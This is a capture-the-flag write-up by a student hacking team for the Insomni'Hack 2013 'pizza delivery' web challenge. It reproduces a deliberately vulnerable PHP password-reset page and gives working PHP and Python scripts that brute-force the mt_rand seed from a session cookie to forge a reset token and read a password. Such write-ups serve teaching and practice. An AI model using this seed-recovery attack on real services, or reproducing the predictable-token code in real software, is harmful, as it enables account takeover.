SecurIMAG-CTF Write-up-insomnihack 2013-web-200-email

De Ensiwiki
Aller à : navigation, rechercher

Security logo.png  Sécurité  Logo for light background.png  SecurIMAG  This page lists the hacking contests, CTF Write-up by SecurIMAG, the Ensimag students hacking team.

Insomni'Hack 2013 - Web 200 email

This is write-up of a hacking contest CTF challenge by SecurIMAG.

Keywords

PNRG,seed,randomness

P0wners

Content

INSOMNI'HACK 2013 - 21:00 : PIZZA DELIVERY


This chall begins on an authentication web-page for Pizza delivery. We don't know any valid user nor password, and registration is closed, but the exposition gives us an email address corresponding to a valid account.

On this page, there also is a link to "recover password". The recovery page is only composed by a form, with an email input and a Reset button.

PHP-Code of this page is given :

<?php
$user_to_reset = "";
$seed = "";
$h = fopen("/dev/urandom","rb");
while(strlen($seed) < 8) {
        $c = intval(fgetc($h));

            if($c != 0) {
                      $seed .= ord(fgetc($h));
                            }
}
  fclose($h);
mt_srand($seed);
function generateSession() {
      $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        $session = "";
        for($i = 0; $i < 50; $i++) {
                $session .= $chars[mt_rand(0,strlen($chars)-1)];
                  }
          return $session;
}

function isValidSession($sessionid) {
      if(preg_match("/[a-zA-z0-9]{50}/",$sessionid) == 1) {
              return true;
                }
        return false;
}

function startReset() {
      $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $token = "";
        for($i = 0; $i < 32; $i++) {
                $token .= $chars[mt_rand(0,strlen($chars)-1)];
                  }
        echo "token: " . $token . "\n";
          $query = "INSERT INTO resets (user_id,token) VALUES ((SELECT id FROM users WHERE email = '" . mysql_real_escape_string($_POST['email']) . "'),'$token')";
            mail($_POST['email'],"Password reset", "http://web01.insomni.hack:8080/reset.php?token=$token");
            die("Email with a link to reset your password has been sent");
}

function testToken() {
      global $user_to_reset;
        $res = mysql_query("SELECT * FROM resets WHERE token = '" . mysql_real_escape_string($_GET['token']) . "'");
        if(mysql_num_rows($res) === 1) {
                $row = mysql_fetch_array($res,MYSQL_ASSOC);
                    $user_to_reset = $row['user_id'];
                    return true;
                      }
          return false;
}

function showPassword() {
      global $user_to_reset;
        $res = mysql_query("SELECT password FROM  users WHERE id = '" . intval($user_to_reset) . "'");
        $resp = mysql_fetch_array($res,MYSQL_ASSOC);
 die("Your password is : " . $resp['password']);
}


$sessionid = "";
if(isset($_COOKIE['session']) && isValidSession($_COOKIE['session'])) {
      $sessionid = $_COOKIE['session'];
}

if($sessionid === "") {
      $sessionid = generateSession();
}

if (isset($_POST['email'])) {
      startReset();
}

if(isset($_GET['token'])) {
      if(testToken()) {
                showPassword();
                    }
        else {
                die("Unkown token");
                  }
}


?>
<html>
<body>
<center>
Enter email to reset password:<br/>
<form action="" method="POST">
<input type="text" name="email"/>
<input type="submit" value="Reset"/>
</form>
</center>
</body>
</html>


The first idea to come is to try an SQL injection to get the content of DB. The problem here is the filter mysql_real_escape_string which seems to avoid this kind of attack.

As we don't have the php code of the authentication page, we were not sure there were no injection possible there, but after few minutes trying, we decided to focus on the php code.

First, we can notice that when we submit an email, the function startReset() is called. This function uses mt_rand to generate a token, then inserts the couple (user_id, token)in the database (the user_id being dependant on the email we entered in the form). And finally, it sends the token by email.

To access the password, the user has to give the token as a GET variable. The token is then checked by testToken() (cheking if the token is in the DB), and finally the password is given.

As we can't access the boxmail, we have to find another way to get the token inserted.


> Give me entropy please <

If we take a look at the token generation, we can see that it uses mt_rand which is initialized with a 8-to-10 digits seed at the very beginning of the php code.

The seed is generated using /dev/random (on the server !) so it seems bearly impossible to guess it reversing the generation.

However, after being initialized, mt_rand is used in the function generateSession() to generate a cookie session.

OK, now we have a potential vulnerability:

  • We know that the seed is between 10^8 and 10^11 - 1
  • We have the cookie session generated after having initialized mt_rand.

So let's brute-force the seed. If we can find a seed s such that the cookie session generated by mt_rand is ours, then we will be able to re-generate the token and access password.

Here's the php code to test all seeds between argv[1] and argv[2] (we can easily see alejandr0 personal touch in the first lines) :


#!/usr/bin/env php
<?php

$start = intval($argv[1]);
$end = intval($argv[2]);
if(sizeof($argv)!=3) {
        die("SUCKER!!!");
}

$cookie = "yWzBRHaY7KP7QA8ReauAeIxYf5E0Uy1X7pPAm07mZoiAdqzpAh";

$fp = fopen('data'.$start.'.txt', 'w');

$i = $start;
while ($i < $end) {
    //$seed=strval($i);
        $seed=$i;
    mt_srand($seed);
    $cook = generateSession();
    if ( $cook === $cookie) {
        $message = "seed: " . $seed ."\n";
        $message .= "token: " . genToken() . "\n";
                fwrite($fp, $message);
                break;
    }
    if ($seed % 10000 == 0) {
        $pourcent = ($seed-$start)*100/($end-$start);
        $message = "Avancement: $pourcent%\n";
                fwrite($fp, $message);
    }
    $i += 1;
}

fclose($fp);

function genToken() {
      $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $token = "";
        for($i = 0; $i < 32; $i++) {
                $token .= $chars[mt_rand(0,strlen($chars)-1)];
        }
        return $token;
}

function generateSession() {
  $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  $session = "";
  for($i = 0; $i < 50; $i++) {
    $session .= $chars[mt_rand(0,strlen($chars)-1)];
  }
  return $session;
}

?>

OK, that seems good, but if we try to execute this with start=10^8 and end=10^11-1, we can come back in a few Epochs to have the result.

As we keep on hand a magnificent 64*8 cores server (thanks Ensimag), let's multi-thread it!

Following code was written by alejandr0 :

#!/usr/bin/env python
import subprocess

i_start=10000000
i_end=  10000000000

num_cpu_cores = 60*8 #ensisun

range_for_one_cpu = (i_end-i_start)/num_cpu_cores

#num_of_processes = 

#print(" ")
for p in range(0,num_cpu_cores):
        tmp_start = p*range_for_one_cpu
        tmp_end = (p+1)*range_for_one_cpu
        subprocess.Popen(['nohup', 'php','./bruteforce.php', str(tmp_start), str(tmp_end)],
                stdout=open('/dev/null', 'w'),
                stderr=open('log_%d.log' % p, 'a'))

Aha! Much much better. Tooks about one minute to test all 8-digits seeds, and about ten minutes to test all 9-digits seeds. Nothing, so let's wait for the 10-digits seeds results.

Creation of a php process army

- Time for a beer [thanks Insomni'hack staff!] -

And finally, we get it! One among the 500 php process we ran has found a seed which leeds to our cookie! Let's try the token corresponding to this seed : web01.insomni.hack:8080/reset.php?token=D2kkXiIpYDalOG0DpST2HuFiIQFhrLEB

And here we are! We have the password !


> CONCLUSION: Stay away noob <

A few remarks that could be helpful to get the solution faster than we did:

  • A seed is a number, not a string. So trying to initialize mt_rand with strval(i) were i is a number does not work very well ...
  • It is better to compare the cookies we generate with the GOOD session cookie (thanks _Frky) ...
  • As we all know, php is not really what we can call a symbol of performance ... So it may have been a good idea to write the brute-force code in c (we can find the code for mt_rand on the net and write it in c).

Links